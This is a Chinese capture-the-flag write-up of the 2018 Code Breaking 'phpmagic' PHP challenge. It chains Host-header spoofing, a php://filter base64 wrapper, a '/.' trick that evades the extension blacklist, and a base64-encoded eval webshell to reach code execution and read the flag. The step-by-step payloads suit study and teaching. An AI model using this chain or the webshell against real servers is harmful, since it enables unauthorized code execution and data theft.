2018-Code-Breaking-4-phpmagic

原創作者:一葉飄零

前言

前些日子有些忙,沒有繼續做,現在跟進,先看下之前做的幾道題:
2018 Code Breaking(1) & function :關於\的trick
2018 Code Breaking(2) & pcrewaf:關於正則回溯的bypass手段
2018 Code Breaking(3) & phplimit:php無參數函數執行RCE
今天研究一下phpmagic這道題

題目概述

拿到題目

http://106.14.114.127:24004/?read-source=1

發現源代碼如下

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
.......
<?php 
if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);
    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output); }
     echo $output;
 endif; 
?>

注意到題目首先創建了一個沙盒做用戶分割

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

然後接受用戶傳入的2個值

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

然後對用戶輸入的$domain進行拼接命令執行

$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

然後將命令執行結果寫入文件,並打印出來

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output); }
     echo $output;

攻擊點探索

這裏不難順着題目想到,此題應該是bypass拼接,進行我們想要的命令執行。
那麼這裏思路可以分爲2種:
1.利用文件保存功能留一個shell
2.直接進行RCE,因爲執行結果會打印出來
這裏我比較趨向於第一種,因爲第二種我們需要bypass

escapeshellarg()

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-1UPJgWkC-1585018664164)(/images/2019-03-28-13-23-26.png)]
直接進行命令執行不是太方便,每次都要考慮Bypass的問題,而寫一個Shell,只要bypass一次,一勞永逸。
同時更關鍵的一點,如果我們想走第二條路徑,就要控制以下指令的返回值

$command = sprintf("dig -t A -q %s", escapeshellarg($domain));

常見並列執行命令方式如下

cat sky.c && ls

但這裏由於escapeshellarg()的存在,我們的輸入變爲

dig -t A -q '&& ls'

失去並列執行的意義,所以這裏考慮第1條路徑:寫shell
想要寫shell的話,還是會遇到幾項問題:
1.控制寫入路徑
2.bypass 黑名單
3.控制寫入內容

控制寫入路徑

如果想要控制寫入路徑,那麼勢必關注寫入函數,其中可能帶有危險操作

file_put_contents($log_name, $output);

對於$log_name我們可以跟蹤到

$log_name = $_SERVER['SERVER_NAME'] . $log_name;

關於這項操作,我們發現文件路徑會拼接

$_SERVER['SERVER_NAME']

那麼這個值是做什麼的呢?我們查閱官方手冊
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FPFWn8BP-1585018664165)(/images/2019-03-28-13-42-15.png)]
官方手冊中提示如果不設置 UseCanonicalName = On 和 ServerName,那麼則可能被客戶端進行僞造
我們不妨寫如下腳本進行測試

<?php
$log_name = $_GET['log'];
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
echo $log_name;

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-niQPA2lv-1585018664169)(/images/2019-03-28-14-07-42.png)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-qTUmcGV5-1585018664176)(/images/2019-03-28-14-08-03.png)]
可以看到$_SERVER['SERVER_NAME']可用host去控制,那麼這樣一來,文件名可控

bypass 黑名單

我們關注到黑名單爲

['php', 'php3', 'php4', 'php5', 'phtml', 'pht']

其實繞過手段還有不少,例如phps,但是目標會不會解析是個問題
有沒有更加萬能的bypass手段呢?
我們注意到獲取後綴的方式爲

pathinfo($log_name, PATHINFO_EXTENSION)

pathinfo()是有漏洞的
我們不妨做如下測試
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-rIsqmjTI-1585018664178)(/images/2019-03-28-14-16-28.png)]
pathinfo()只會單一的去獲取最後一個.後的值作爲後綴名
那麼在php後加上.是否還能正常訪問呢?
我們不妨做如下測試
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FoM0ynp3-1585018664180)(/images/2019-03-28-14-18-18.png)]
答案是否定的.
那麼還有沒有其他方法呢?
我們測試

root@sky# php -a
Interactive mode enabled

php > file_put_contents('/tmp/sky.php/.', '12345');
php > exit

root@sky# ls /tmp | grep sky
sky.php

發現成功寫入/tmp/sky.php,同時bypass了pathinfo()的黑名單
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-h2RUjqbn-1585018664182)(/images/2019-03-28-14-23-16.png)]
至於爲什麼/.可以進行bypass,可參考下述文章

http://wonderkun.cc/index.html/?p=626

控制寫入內容

可控路徑,可Bypass後綴名,那麼就只剩下內容寫入了,我們需要bypass兩個過濾

escapeshellarg($domain)
htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES)

這麼顯然如果不用編碼的話,很難bypass過濾,畢竟符號會被過濾,例如<
那麼如何使用編碼寫入呢?
這裏就要從僞協議說起,我們知道有php有如下僞協議

php://filter/write=convert.base64-decode/resource=sky.php”

可以將內容進行base64解碼再寫入,那麼我們只要再$domain中傳入base64即可,這樣即可輕鬆Bypass過濾
再配合上我們之前的路徑Bypass可以得到如下payload進行測試

Host:php://filter/write=convert.base64-decode/resource=
log=sky.php/.
$domain = c2t5c2t5

我們訪問sky.php進行查看
這裏需要注意,先去得到自己的$_SERVER['REMOTE_ADDR']
這裏方法很多,有很多提供ip的網站,或者可用自己的vps,這裏不再贅述
可以計算得到我的沙盒

/data/d4dabdbc73b87e364e29e60c60a92900

我們訪問

/data/d4dabdbc73b87e364e29e60c60a92900/sky.php

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-S6hI5A3W-1585018664184)(/images/2019-03-28-14-37-29.png)]
我們發現之前發送的base64已經變成了skysky

payload寫入

那麼剩下的就是寫入一句話木馬了

<?php eval($_GET['s']); ?>

得到

PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4=

這裏需要注意base64不要帶有==,因爲我們插入的base64在文本中間
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3qZrdrUj-1585018664189)(/images/2019-03-28-14-33-09.png)]
==是出現在base64結尾的,會導致解碼錯誤
所有我們把=換成

PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4a

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-myUhgYyW-1585018664192)(/images/2019-03-28-14-53-26.png)]
我們進行測試
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3pH0oUP7-1585018664196)(/images/2019-03-28-14-46-00.png)]
訪問

http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir('./'));

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Djn3KtWx-1585018664199)(/images/2019-03-28-14-54-34.png)]
繼續上跳

http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir(%27../../../%27));

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Aoszm4qV-1585018664204)(/images/2019-03-28-14-55-29.png)]
發現flag,我們讀取

http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=readfile(%27../../../flag_phpmag1c_ur1%27);

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-TNiHxopz-1585018664206)(/images/2019-03-28-14-56-29.png)]

後記

這道題並不難,主要涉及幾個php trick:
1.$_SERVER['SERVER_NAME']可通過Host進行僞造
2./.可用來bypass文件後綴黑名單
3.php僞協議可用來base64 bypass寫入內容

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章